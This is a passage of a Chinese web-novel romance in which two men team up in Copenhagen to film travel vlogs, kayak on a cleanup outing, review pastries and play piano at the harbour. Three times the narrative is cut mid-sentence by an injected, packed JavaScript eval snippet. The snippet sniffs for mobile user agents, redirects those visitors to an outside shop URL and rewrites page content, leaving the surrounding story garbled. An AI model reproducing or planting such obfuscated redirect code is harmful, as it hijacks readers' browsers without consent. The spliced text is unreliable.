陆朝深发了一张参加家长会的照片,成绩单上除了有年级排名是第五以外,其他都被打码了,右上角还有一个名字:陆安迪。 这个成绩很好的弟弟应该在上初中,听陆朝深的描述,“只有成绩还不错”,陆安迪应该就是那个正值青春期的叛逆弟弟。 2024.7.12:我的小宝真的很乖,亲手做了蛋糕给我(鼓掌鼓掌) 照片上的小男孩端着一个很小的蛋糕,眼睛大大的,五官和陆朝深神似。 还有好多条关于家人的,再往后就是昨天发的了,从陆朝深的朋友圈看,陆朝深有一个刚刚大学毕业的妹妹,一个高考完的妹妹,一个正在上初中的叛逆弟弟,还有一个读小学的弟弟。 麦朗想想都头疼,好像是他一个人在负责所有人的所有事情,那他们的父母呢? 麦朗正想得入迷,门被打开了。 陆朝深还是照样脖子上挂了一个相机,碎刘海微微遮住了额头。 从昨天第一次看陆朝深时,麦朗就觉得他的眼睛很漂亮,偏棕色的瞳孔,没有什么攻击性。卧蚕把眼睛点缀得更好看,笑的时候就会完全苏醒,对视的时候,就像待在一片温和的风中。 麦朗看得有些走神,直到对方的表情稍微有点疑惑,才反应过来自己的眼神太过直接了。 麦朗摸了一下鼻尖:“你吃午饭了吗?” 陆朝深点了点头,拿着相机坐到了麦朗旁边:“本来想约你一起的,但是我看你没回消息。” 麦朗手上还有剩下的最后一点三明治碎片。 “我还以为你会起得很早。”陆朝深又说。 毕竟麦朗看起来就是那种生活作息很健康的人。 麦朗有点心虚,主要是偷窥你朋友圈的时候搞忘了。 “不好意思,我没看到,”麦朗把剩下的碎片全部塞进了嘴里,“昨天熬夜写策划,睡得太晚了。” 没看到?陆朝深忽略了麦朗手机屏幕还亮着的小细节,问道:“写好了?” 一说到这个麦朗就头疼,他叹了口气,“没呢,写了很多遍都还是不满意。” “慢慢来吧,”陆朝深说,“创作就是这样的。” “算了,反正下一个专题开启还有一段时间,这段时间多积累积累素材。“麦朗单手托着腮,”对了,你上午去哪玩了?” “腓特烈教堂。”陆朝深往麦朗那边靠了点,把今天上午拍的成片都拿出来溜了一圈,“我拍了些照片,还挺不错的。” 麦朗接过相机翻了翻,心里大为震撼。 陆朝深镜头里的腓特烈教堂,有种喷涌而出的历史厚重感。绿金的穹顶,被保存完好的耶稣十二使徒天顶画,还有无数个被精雕细琢的挪威大理石尸体,古老而繁杂的花纹居然被拍出了一种秩序美感。 这一张结构很完美,那一张角度很不错。 每一张他都想要。 对比起他之前去腓特烈教堂时拍的那些照片,简直是云泥之别。 麦朗依然翻着陆朝深的相机,头也没抬:“你觉得怎么样,好玩吗?” “我对教堂这些不是特别感冒,”陆朝深说,“不过还是很美。” 麦朗看着照片沉思了一会儿。 突然,像是想到了什么,他的眼睛突然亮了起来。 “这些照片能卖给我吗?” 陆朝深:“啊?” 买照片? 他不是专职的摄影师,只是平时喜欢记录,遇到好看的场景就拍下来了,为此他开了一个小红书账号,专门用来分享一些自己的作品图集。 评论区有想拿去做手机壁纸的,保存的或者是其他用途的,陆朝深都默认图源可以随意使用。 更何况麦朗帮了他这么大一个忙,做晚饭和准备早餐这类简单的事情对于陆朝深来说还不够,一点照片更是微不足道。 “你想用的话,随时可以拿去用,”陆朝深轻轻拍了拍麦朗的肩膀,“民宿的事情你帮了我这么大的忙,我怎么好意思连这点照片都要收费。” 麦朗刚想说什么,陆朝深出声打断:“我的照片都是可以公用的,没收过费,不信你去我的小红书账号上面看看。” “好吧,”麦朗勉强接受,“我觉得你拍的照片有种说不上来的感觉,我没学过这方面的,昨天你帮我拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150217|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那张照片我就发现了,就是感觉你的镜头很美,看着很舒服,我想把这些场景以录像的方式记录下来。” 他的视频镜头一直被少部分人诟病,如果能在vlog里加入这样的镜头,那他的视频质量会提升不少。 “早说嘛,”陆朝深说,“你昨天不是说让我当你的摄影师吗?直接让我拍不就好了?” 麦朗愣住了,昨天在微信上只是随口开了个玩笑,他虽然想过,但也没真的要让陆朝深帮他拍这儿拍那儿,每个人都有自己的行程。 陆朝深转头跑回房间,出来的时候拿了一个一看就是装摄影器材的小包。 “我昨天晚上认认真真地看完了你的前几个视频,你的视频剪辑得很好,创意点也很棒。” “但是,”陆朝深话锋一转,“大部分都是第一视角,第三视角一般没有,有的话也是纯风景式的。” 那几条露身材的视频除外,现目前只考虑视频质量。 麦朗回过神,有些意外,没想到陆朝深还认真看了他的视频。 “确实,”麦朗无奈地耸了耸肩,“水平有限,我已经用我能想到的最好的方式呈现给大家了。” 陆朝深说:“那是因为你只有一个人,很多视频博主都是有团队的。” “就拿一个最直接的例子来说,比起之前清一色的自拍,昨晚那条ins的点赞数量可以算是近几个月最高的一条了。你只需要稍微升级一下风格,涨粉真的是分分钟的事情。” “当然,设备也很关键,”陆朝深继续从包里面拿出一个新型号的相机:“这个就更适合拍视频,画质更清晰,人头锁定也更智能。” “还有云台稳定器,还有补光灯之类的小东西,但我觉得白天应该暂时用不到。” 麦朗接过那个稳定器,以往他基本上只会用支架和自拍杆,这个玩意他之前听说过可以防抖,但又觉得太麻烦所以一直没用过。 陆朝深拿起手机自拍,把托着腮的麦朗也装了进去:“你看,如果是自拍的话,就算有自拍杆,镜头也会很受局限,而且一不小心脸就会因为镜头畸变而变形。” 手机被移动的时候,人的脸也会不同程度地变样。 麦朗嘴巴微张,非常佩服。 专业! “所以我说,你缺一个优秀的助手。” 两个人对视了一眼,陆朝深先转身先去厨房泡了杯咖啡,他心里很明白,麦朗虽然不是编导出身,但各种条件都明示着他简直就是先天自媒体圣体。 “但是这样太麻烦你了。” 好好的旅行就会变成工作。 “不会的,”陆朝深往咖啡里加了一颗放糖,勺子搅拌的时候碰到杯壁发出不清晰的声响。 “要不这样吧。” 麦朗:“你说。” 视线交汇于咖啡散发的热气,陆朝深抿了一口咖啡,慢慢地说:“接下来在哥本哈根的旅行,你带着我一起玩,我帮你拍一些好看的视频素材,包括你的镜头。” 陆朝深很有诚意:“作为你愿意和我合租的报酬,怎么样?” 不知道是几天没做事闲着了,还是骨子里的编导血脉又重新觉醒,这个合作决定也掺杂着自己的一点私心,在视频制作领域,无论是短视频还是长视频,他对自己的水平一直都很自信。 在读大学的时候,陆朝深参与制作的微电影都在影视圈小火了一把,其中被人夸赞最多的就是他那极具情感温度且内涵丰富的镜头语言,所有人都认为陆朝深将来会成为一名很出色的导演,连陆朝深自己也这么觉得。 不管怎么想,这都是一个非常完美的交易。陆朝深免费获得一个优质导游,麦朗无偿聘用一个优质制作人。 嗯,优质与优质的合作。 5. 新港 麦朗有些犹豫,这对于陆朝深来说有点不公平。 “请一个导游不需要花多少钱,但请一个摄影策划却要花很多。这样对你来说太亏了。” 陆朝深看麦朗是铁了心要付一点费用,想了一下说:“那你按照你的想法来吧。” 反正他不是很缺这笔钱。 麦朗立马举起双手:“好,我举三只手同意。” 三只手?陆朝深睁了睁眼睛。 麦朗看着他,突然晃了晃脑袋,头顶有一根竖起来的呆毛也跟着晃了晃。 “噗。” 两个人笑成一团,持续了好几分钟才停下来。 陆朝深比了一个打住的手势,再笑下去肚子真的受不了了。 麦朗的眼睛亮亮的,积极得很:“那我们商量一下计划?” 陆朝深把桌子上的设备全部收起,坐在麦朗旁边:“没问题,我都可以,你来安排就行。” “我是这样打算的,”麦朗说,“我在丹麦玩过一段时间了,所以打算今天再拍点新的素材,做一个先导片试试。” 陆朝深点了点头,“可以,刚好来试试效果。” 麦朗拿出一个很大的笔记本,上面记录着他在丹麦玩的所有项目和活动的时间和地点。 陆朝深在一旁看着麦朗写写画画,本子上的每一天都有详细的攻略,包括价格,总预算,交通方式,路线,不同时间的人流量,游玩感受,游玩时长等。如果是吃的,还会有味道的批注。 本子上密密麻麻的一大片,一看就花了很多的功夫。 麦朗筛选了好久,问:“要不要去划皮划艇?” 哥本哈根南部濒临波罗的海,海水和整个小岛的边缘相融,嵌进的水域被打造成了小小的港口。 陆朝深刚到哥本哈根拖着行李路过新港的码头的时候,海面风平浪静,似乎是对阳光本性贪婪,一到晴天,海上就会冒出很多划艇的人。 这一点陆朝深深有同感,他实在是不喜欢灰蒙蒙的阴天。 至于划艇这个项目,他有些迟疑:“可以是可以,不过我运动细胞不是很发达,我怕划到一半就翻了。” “放心吧,我俩划一个。”麦朗说,“有我在翻不了。” 陆朝深双手抱拳:“靠你了大佬。” 麦朗忍着笑意:“这个我来的第二天就体验过了,但是我发现了一个不一样的。” 陆朝深问:“哪里不一样。” 麦朗唇角一勾,“去了你就知道了。” 趁着现在天气很好,两个人急急忙忙地收拾好东西,立马出发。 拍摄录制对陆朝深来说已经是十分久远的事情了,想到马上要参与视频制作,心里难免激动,跃跃欲试。 目的地在Labanchina,地铁没法直达,麦朗就联系Elias租了两辆自行车。 在哥本哈根,或者可以说是整个丹麦,几乎人人都骑自行车。 这一点体现在市内的方方面面,自行车能够带上地铁,车厢内有专门停放的地方,等红绿灯时路边还有放脚踏和扶手。 陆朝深一时间判断不出来,到底是街道太窄还是环保观念深入人心。 不过还是要说一下,他的猜想毫无恶意。 骑行之前,陆朝深下意识地掏耳机出来,摸了半天摸了个空。 糟了。 “我耳机忘拿了。” 陆朝深有些无语,他回想了一下耳机的位置,应该是收摄影设备的时候太急了没捎上。 “喏。” 麦朗摊开宽大的手,一只白色的蓝牙耳机被放在了手心,像是递上了一块糖。 “我有耳机。”麦朗说。 陆朝深怔怔地望向对方,没反应过来。 “放心吧,”麦朗说着就抬手把耳机塞进了陆朝深的左耳,“我的耳机很干净的。” 麦朗硬塞进去的耳机没带好,陆朝深重新扶正,很小声地说了一句“谢谢,但我不是那个意思”,也不知道对方听到没有。 哥本哈根设置了专门的自行车道,下午的人不是很多,骑行一路畅通无阻。 麦朗主动骑在外围,他骑的速度要快一点,每次骑到前面又会回头看看陆朝深的位置,然后故意放慢速度,两个人始终保持一个平行的位置。 道路两边的房子在阳光的照射下自动拉高了饱和度,两边光景不断从眼角溜走。 一边是风的声音,一边是音乐的声音。 目的地离民宿不远,沿着海边直行,两首歌的时间就能到。 下车时陆朝深还意犹未尽,他记不起上次骑自行车是多久了。从某个时间开始,出行的方式就变成了开车,每到周五就要在三个学校之间来回跑。 晚高峰,令人困倦的红绿灯光线,无聊的广播还有车内流动不通的空气,每一处都充斥着让人厌世的感觉。 这样松弛快乐的生活也已经很久没有过了。 “谢谢你的耳机。”陆朝深把耳机还给麦朗,“刚刚放的什么歌?还挺好听的。” “回去推给你,歌名还挺长。” 一阵咸咸的风突然吹来,海面上像是撒上了一层薄薄的钻石碎片,粼光闪闪,但又不是很晃眼睛。 陆朝深跟着麦朗,走到岸边延伸出的一条木头栈道上,旁边有一只窄窄的蓝色皮划艇被栓在了木桩上,正随着海水一晃一晃。 “这是我们的?”陆朝深指了指问。 “对,”麦朗说,“我给你说,这不是一次——” 陆朝深抢先回答:“这不是一次普通的划艇。” 麦朗笑了笑,解释了缘由:“划艇是免费的,但是我们要清理海面上的垃圾。” Green Kayak是丹麦推出的一个全民环保项目,只需要在app上面预约,自由选择时间和地点,就能在海上免费体验划艇活动,但是需要帮忙拾捡海上的垃圾。 所以皮划艇上有一个小水桶和捡垃圾的夹子 参加这个活动必须要穿救生衣,麦朗事先在起始站点拿了两件,救生衣是均码,麦朗穿着有些紧,但不妨碍划船。 另一边,陆朝深刚穿好救生衣:“我这个带子好像绞在一起了。” 说完他就心虚了,其实都是他自己弄的,这个均码都对于他来说有点大,结果剪不断理还乱,带子变成了一坨。 手上假装很认真地理着死结,实则已经放弃原地等待支援。 “我看看。” 麦朗靠了过来,接过陆朝深手上的死结。 “没关系,这个很容易卡的。” 两个人离得很近,麦朗低着头,微微卷毛轻轻地擦过陆朝深的下巴,蹭得痒痒的。 陆朝深也不知道干啥,就只能数着麦朗眼睛上的睫毛。 身前一松,麦朗捣鼓了两下就解开了,陆朝深抻了抻衣服,这种什么都不需要做,无所事事的状态虽然很不习惯,但是真的好爽。 原来被照顾是这种感受吗? 换做是一天前的他,一听到要把事情完全交给另一个打理,他肯定不放心。 焦虑正在被慢慢地接纳和取代,最终归于平静。 “手。” 陆朝深把手抬起,麦朗的手环过陆朝深的腰,然后扣上。 距离变得非常近,从远处看,两个人像是抱在了一起,陆朝深微微撇过头。 其实这个他可以自己弄的。 麦朗长呼一口气,完事。 “怎么坐?”麦朗向陆朝深征求他的意见。 “你坐我后面吧。”陆朝深说,“我在后面拍不到你的正脸。” 皮划艇很轻,重心不稳的人很容易把船搞得抖来抖去,陆朝深一只手扶着麦朗,慢慢地踩进去。 划艇上有绳索,麦朗一边拽住绳子不让划艇跑偏,一边指导:“先踩在中间偏右边一点的位置。” 陆朝深本来扶着麦朗的手臂,又觉得不是很方便,于是没多想就抓住了麦朗的手。 一阵温热柔软的触感传来,麦朗顿了顿,把陆朝深的手紧紧握住,在这个地方掉下去可不好看。 和陆朝深几乎没什么瑕疵的脸蛋相比,麦朗能感觉到陆朝深的手有些粗糙了,隐隐约约还有茧子。 像是想要确认着什么,麦朗突然手指动了动,用指腹轻轻地揉了揉。 察觉到了手心的异样,陆朝深看了眼正低着头的麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150218|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗。 他对这些事情早已经习惯了。 嗯,小孩儿的行为。 折腾了好一会儿,两人总算是上了船。 陆朝深拿着摄影工具包坐在前面,每个动作都很小心翼翼,麦朗就坐在后面操控方向,划艇很小,两个人不得不紧挨在一起。 皮划艇随着重力微微下沉,第一次坐,陆朝深有些紧张,这种感觉很微妙,新奇又刺激。 陆朝深回想起以前经过学校的池塘的时候,总会留意一下水面上的黑天鹅,他一直都很好奇,在水面上待着是一种什么样的感觉。 现在视角算是换了一下,皮划艇慢慢离开岸边,陆朝深很少离海面这么近过。他不用划船,只需要拿着摄影机录下他认为很好看的场景,偶尔拾捡起海面上零星点的垃圾。 就像黑天鹅一样,浮在海面上,静静地飘着。 “感觉怎么样?”在后面一直卖力的麦朗突然冒了个泡。 陆朝深很直白地说:“很棒。” “那就好,”麦朗说话的时候有些喘气,陆朝深心里有些怪不好意思的,这应该不是个轻松的活。 “累吗,要不给我划一会儿吧。” “不用,”麦朗说,“喘气是活动之后的正常生理行为。” 说完,麦朗突然加速,划艇往前冲了好几米远。 “你看,我真不累,你拍拍我就行。” 陆朝深轻笑了一声,但自知要是他来划,这小艇可能要不了几下就会撞到岸边。 “牛。” 陆朝深微微侧过身,将镜头对准了正在划船的麦朗。 “那你准备好,我比手势你就可以开始说了。我们拍今天的第一份素材。” 镜头切进,刚好捕捉到麦朗抬眸的那一瞬间。 光线从侧面迸发,形成的阴影显得麦朗的五官更加立体,深蓝的瞳孔注视着镜头,陆朝深透过摄像机的屏幕,单方面地和麦朗对视。 麦朗的眼神真的有种说不清的感觉。 焦距缩小,镜头刚好能把人整个给框进去。麦朗手臂用力摇着划桨,肌肉因用力而绷紧,一根一根的青筋随之暴起,像是大树在土壤表面上盘虬的枝条。 陆朝深顿了一下,脑袋突然闪过两个字, 好欲。 四个字, 真的好欲。 眼神暧昧不清,脖颈被太阳照得微微泛红,还喘着气。 用镜头挖掘人物的特点和优势,是陆朝深最擅长的事情。 而性张力这一点在麦朗身上体现得非常充分,陆朝深不敢想象要是麦朗真的去做其他类型的视频博主,会火成什么样子。 拍完绝美开场镜头后,陆朝深打了一个响指。 麦朗冲着镜头笑了笑:“Hi,everyone,欢迎来到Mikel的频道。” 还是和之前很相似的话术,麦朗简单地说了几句后,又介绍了这次的环保活动。剩下的只需要拍视频就行了,大部分文案都是后期配音。 沿着水路一直往前,两边出现了越来越多特别的建筑,和国内完全是完全两种风格。陆朝深觉得各有千秋,但由于见得少,还是不免觉得新奇。 平静的海面被风轻轻地扰动,海鸟自由地盘旋在城市上空,彩色的房子像是装上了老旧的滑轨,一点一点地被录入相机。 结束后,陆朝深戴上了墨镜,海面上要是有垃圾,麦朗会帮他找,然后划过去,陆朝深只需要伸手把垃圾夹起来。 不需要动一点脑子。 四周变得很安静,除了刚才录素材的时候有交流,两个人竟都很有默契般地没说话。 北欧的地理位置就决定了它的夏天是什么样子。 短暂的,特殊的,宝贵的。 陆朝深拖着腮,看着前方发呆,他已经用各种设备记录下了很多东西,无论是照片还是视频。之后用来回忆是足够的,只是真实的感受没办法储存,它会随着时间的流逝一起溜走,所有的喜怒哀乐都会转化为对往事不复返的悲伤感叹。 待在北欧的时间,也就再经过两次季节的交替。 所以他也在认真地感受着这里的一切,哪怕旅途才刚刚开始。 6. 钢琴 划到一半,皮划艇迎面碰上了一群天鹅。 说是天鹅,但没有陆朝深之前在池塘里看到的那种黑色天鹅,大部分都是灰褐色,有少数两只纯白的,鼻子和嘴上连着一抹红。 这些天鹅看起来脾气还不错,也跟着皮划艇往前游,稳稳的身子底下藏着忙碌的蹼足,来回摆动。 “你们好啊。” 陆朝深突然对着天鹅打招呼,把麦朗吓了一跳。 “小伙伴们,游得开心吗?” 他也不知道这些天鹅来自何处,晚上会住在哪里,陆朝深本来想摸一下的,但是又怕天鹅扇自己一身的水。 “这些天鹅脾气不太好,”麦朗打起小报告,“前两天看到他们还堵人。” 陆朝深笑了一声,他很后悔自己没带什么吃的:“我觉得他们还挺乖。” 麦朗:“他们见风使舵。” 陆朝深:嗯? 好奇怪的成语运用。 麦朗的腿太长了,膝盖差点能抵到陆朝深的腰间,陆朝深对着天鹅又拍了好一会儿,手有些酸,就干脆直接搁麦朗腿上。 “快到新港咯。”麦朗动了一下腿,示意陆朝深看看前面。 这里比起始点要热闹很多,港口的船只来往频繁,岸上有很多出来晒太阳的本地居民,翘着二郎腿,泡着咖啡,桌上摆着一些看起来很精美的下午茶。 偶尔会有几个人把视线投向他们,陆朝深突然就能理解到池塘里的黑天鹅是一种什么感觉了。 Green Kayak项目的船只应该是专用的,陆朝深看向路边的时候,看到有一对老年夫妇,对方察觉到了陆朝深的目光,先是打了个招呼,然后比了一个大拇指。 陆朝深朝夫妇挥了挥手,转过头:“他们夸你呢。” 麦朗笑了两声:“你也有份。” 再往前就不能深入了,皮划艇在终点靠岸,一路上垃圾很少,麦朗接过轻飘飘的垃圾桶:“丹麦的海还挺干净。” “是啊,可能根本就没什么人丢垃圾,也有可能垃圾都被捡走了。”陆朝深很快地解开了衣服,对麦朗笑了笑:“辛苦你咯。” 麦朗有些小得意:“嗐,这算啥。” 这下全世界都知道麦朗是一个身强力壮的小孩儿,陆朝深下意识地看向麦朗粗壮的胳膊,今天麦朗又穿的是无袖背心,上本身的肌肉轮廓什么的看得清清楚楚,几乎相当于没穿。 难怪被粉丝喊老公,这哥们有肌肉是真露啊。 察觉到陆朝深的目光,麦朗也直勾勾地看了回去。 陆朝深低头假装在包里找东西,眼神对接失败。 划艇的时间并不长,新港嘈杂的人声把陆朝深从刚才的思绪拉回来了一点。 “走吧,”麦朗一把搂住陆朝深的肩,“我带你去吃点好吃的。” 麦朗的臂展很长,搂住之后还把人往怀里带了带,陆朝深突然有点懵懵的,他已经很久没有被这样搂过了,但对于男生来说就是一个很正常的行为,上次被人搭肩膀估计可以追溯到高中的时候,年代很久远,如今突然有种恍如隔世的感觉。 陆朝深懒得想了,他甘愿做一个被麦朗拖着的娃娃。 第一家店叫Buka bakery,人不少,算是本地的一家网红店,各类肤色的人都有,两个人一进去,有不少目光都转向了他们。 两位气质完全不同的大帅哥同框,谁能忍住不看? 麦朗似乎已经习惯了,指了指招牌上最大的两个点心:“开心果可颂和丹麦酥是他们家的最好吃的。” 陆朝深虽然也经常被夸帅,但是自己也不年轻了,社交圈就那么小一点,现在面对这么多人的视线还是有些不适应。 “那就点这两个吧,”陆朝深看着菜单点点头,“再来杯咖啡。” 麦朗率先去结了账。 陆朝深看了眼价格,记到了备忘录里。 “等会儿做好了,我们再录一个新的美食视频。” “可以啊,我上次吃的时候还搞忘录了。”麦朗说,“要不你先尝一尝,然后给我形容一下?我语言系统有点匮乏。” 陆朝深看着麦朗:“这么信任我?” “不是信任,这是事实,”麦朗说完又觉得哪里不对,连忙补了一句,“当然,我也很信任你。” 陆朝深眉眼一弯,双手抱胸:“行吧,我先试试。” Buka bakery的效率还不错,没过多久,麦朗又抢在陆朝深之前把点心端了过来。 陆朝深拿起一个开心果可颂,观察了一下。 一种很新的点心。 外表有点像牛角包,金黄酥皮层层堆叠,吃的时候,开心果的香味和可颂混合在一起,甜而不腻。 “好吃吗?”麦朗问。 “很不错,”陆朝深当即给出评价,“比我想象中的要好吃很多。” 陆朝深又尝了一口丹麦酥,开始拿起手机写稿子。 两样甜品差别不是很大,丹麦酥里面是水果酱,开心果可颂则是奶油。 “待会儿你说的时候,可以更偏生活化一点。”陆朝深把写好的稿子递给麦朗。 “简单地描述一下就行了,不用很正式,关于吃的这方面的感受,其实可以直接加入到视频里面,比起攻略来说,观众的印象会更深刻。” 麦朗的视频走的是很舒服很放松的治愈风,但他本人在视频中说话的时间和比例都太少,所以无形之中会显得个人形象和视频风格有些割裂。 “你可以想象一下,假如你想向你的朋友分享一下这个点心的味道。”陆朝深指了指自己,“比如我。” 把分享的对象换成陆朝深? “没问题,”麦朗说,“来吧。” 陆朝深选了一个角度,观看者在看的时候会感觉和麦朗离得很近。 3,2,1, action! “我们现在在本地的一家很火的餐厅,”麦朗拿起盘子展示了一下。“这是店里很有名的开心果可颂。” “看起来还不错,中间的奶油很香,反正我还是第一次吃这种开心果味道的。” 麦朗咬一口,趁着这段时间脑海里开始想接下来怎么说。 “嗯~” “不知道你们刚刚有没有听到‘咔嚓’的一声,这个表皮超级脆。” 麦朗把咬了半截的开心果可颂拿在手上晃了晃。 似乎是真的把镜头当做了陆朝深本人,麦朗的表现虽然感觉还是有些僵硬,但是比以往已经随和了不少,这样的互动模式才是陆朝深所认为的视频中该有的。 “这个丹麦酥也不错,外面那层皮相对可颂要厚实一点点,里面是果酱,口感酸酸甜甜的。” 最后,麦朗吃完喝了一口顺带点的咖啡,皱了皱眉,但又不是很严肃。 “这俩都蛮好吃,值得一试,不过这个咖啡就一般吧。” 陆朝深在摄影机后面比了一个大拇指。 perfect。 - 出来后,麦朗带着陆朝深沿着新港逛了一圈,打包了一些比较好吃的,打算回去做一个丹麦美食测评。 走到码头附近的时候,变得更热闹了,一些人围在了一起,中心处传来一阵舒缓的琴声。 像是冬天在雪地里围着火炉取暖。 陆朝深没有走近,只是站在一个合适的距离,跟着琴声的旋律轻轻地哼唱。 “眼泪。” 陆朝深突然开口。 麦朗:“嗯?” “这首歌的名字叫做眼泪。“陆朝深说,”我以前弹过。” 以前家里还很富裕的时候,妈妈总是会给他报很多兴趣班,很巧的是,陆朝深自己本人也比较喜欢弹钢琴,但他的钢琴曾经给他说过,他的手指有点短,弹琴水平会有一定的上限,驾驭不了过于复杂的曲子。 陆朝深很认同这一点,所以最后只能勉强过了个八级。 现在想来,时间真的过了好久,他也失去了弹出一首完整的曲子的能力,人生的视角一直都在转变,曾经一直在舞台上的他,现在也成为了观众。 陆朝深叹了口气,准备走的时候,麦朗摇了摇他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150219|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀。 “要不去看看?” 麦朗没等他回应,拉着他的胳膊就挤进了人群中央。 那是一个满头白发的老爷爷,穿着很新的格子衬衫,弹钢琴的人一般手指都很强健有力,老爷爷也不例外,活了一把年纪了,弹出的曲子却不萎靡软弱,就算是曲风是温柔,但也能感受到其中融入的力度, 麦朗介绍道:“这位老爷爷每天都在这边弹琴,前段时间,我只要没事就会来听一听。” “很好听,”陆朝深说,“听的时候感觉内心很平静。” “诶,”麦朗挑了挑眉:“你不是说你会弹吗?” 陆朝深连忙摆手:“nonono,我已经很久没有弹过了,弹琴已经是上个世纪的事情了。” “真的一点都不会了?” 陆朝深被麦朗的眼神盯得有点不自在,“也不算是吧…….” “那就对咯。” 麦朗说完,像一条挣脱绳子的大型犬,兴冲冲地跑到老爷爷面前,指了指陆朝深。 陆朝深没听到他叽里咕噜说了些啥,但是猜也能猜得到大概。 麦朗又急急忙忙地跑回来, “我说你想和他一起弹,他同意了。” 陆朝深悬着的心终于死了:“这样会不会不太好?” “怎么会,这里每天都有和他一起弹的。” 好吧。 陆朝深走了过去,坐到老爷爷的旁边。 周围不断有人拿起手机拍照,老爷爷说着一口伦敦腔英语:“很高兴和你一起弹奏,你想弹哪首?” 陆朝深:“非常感谢您给我这个机会,我也很喜欢《眼泪》这首歌,所以我想的是,接着和您弹奏完眼泪的剩下部分。” 老爷爷赞同:“品味不错。” 简单地试了一下音之后,中断的音乐又如解冻的河流一样,缓缓流出。 周围的人越来越多,麦朗拿着手机录下视频。原本的《眼泪》声音是比较单薄的,现在加入了陆朝深的伴奏,四手联弹,琴音变得更厚重。陆朝深没想到弹起来会这么顺利,两只弹琴的手,也像是想起了以前的很多事。 如果回忆有伴奏,他肯定就选这一首了。 - 演奏结束,伴随着一阵掌声,陆朝深回到人群中。 麦朗又习惯性地搂住陆朝深的肩膀:“听见我的掌声了吗,我还给你录了视频。” “听见了听见了,”陆朝深笑得很浅,他感觉自己要被麦朗直接抱住了,“你怎么知道我想弹琴。” 麦朗说:“不知道,就是直觉。” 刚才在弹的时候,麦朗一直拿着手机拍他,弹完之后也是他发出第一声喝彩,非常捧场。 不得不说,麦朗给够了很充足的情绪价值。 陆朝深:“你刚刚录的视频给我看看呢。” 麦朗直接把手机递给他:“你看吧。” 这不看不知道,一看吓一跳,陆朝深直接两眼一黑,幸好他的颜值还能抗一点打,不然真的不知道会变成什么鬼样子。 画面没聚焦,糊糊的,而且有时还会抖动一下。 像是用来怀念已故朋友的回忆录。 “怎么样?”麦朗问。 念及刚才的支持和鼓励,陆朝深还是决定不把话说得太死。 “我觉得可能是设备不太行。” 麦朗轻咳一声,顺着台阶下了:“我也觉得,早知道用你那个相机了。” 陆朝深是真的恨铁不成钢,哥啊,你是旅游博主啊,这个视频怎么能拍成这样! “那我们现在往哪走?”陆朝深决定不讨论这个话题。 “我的计划到这儿就结束了,因为哥本哈根就这么大点地方,”麦朗说,“如果你还要玩两天的话,可以选择明天再逛。” 陆朝深突然觉得有点累,他今天想了太多事情了,如果他的内心活动被写成一本书,估计会是长篇的回忆杀。 麦朗看着他,沉默了一会儿。 “要不,”麦朗主动提议, “我们回家吧。” 7. 通话 经过这两天的相处,陆朝深发现了麦朗说话方式的特点。 终归是混血,生长的文化土壤有一些差别,麦朗说中文的时候其实不算是地道,有时候还会有点机翻感。 但陆朝深很喜欢和他说话,没有太多的隐喻,经常有那么两个字眼会让陆朝深觉得很特别。 比如,回家。 - 马不停蹄地逛了一天,陆朝深一回到家就进了房间,定了一个吃晚饭的闹钟。 这一觉睡得很漫长,短短的一个小时内,他梦见了很多东西。 从爸爸一声不吭地离家远去,到他抱着三岁的陆半夏,抬头看着天花板崩溃哭泣,再到拿到稿费的那一天,一口气还完了所有的债。 醒来的时候天还没黑,陆朝深起床抹了把脸。 应该是自己白天的时候回忆的太多了。 桌上摆着下午从新港买回来的晚餐,有一半被动过了,旁边还有一杯刚热好没多久的牛奶。 麦朗房间的门是关着的,一直待在房间没出来,估计是在剪白天的素材。 陆朝深把吃的拿进房间,趁着现在有空,他打算把麦朗的B站,油管,ins以及微博都拿出来看看。 他之前只看了前几个视频,不过这肯定远远不够,要想帮麦朗涨粉,必须要深度考察才能提出更多有用的建议。 首先是照片组,就内容上来说,微博是最少的,粉丝量也最少,而且麦朗几乎不和粉丝互动,就那几张照片也是从ins上照搬过来的,总体数据不太好看,就算麦朗现实生活中帅得非常有特色,但在这个到处都是帅哥美女的互联网世界里,单靠一些自拍肯定是没啥竞争力的。 与之相反,ins的内容最多,不过自从两年前的照片都看不到了。 ins的内容稍微丰富一点,除了自拍,还有一些健身时的对镜照,偶尔有一两个健身视频,不过看起来也不咋地,看起来像是随便喊的健身房搭子帮忙拍的。 其次是视频,B站和油管是麦朗的最主要创作基地,两年的时间,麦朗深度游玩了中国东南沿海的城市,美国的纽约和洛杉矶,还有澳大利亚和新西兰的全境。 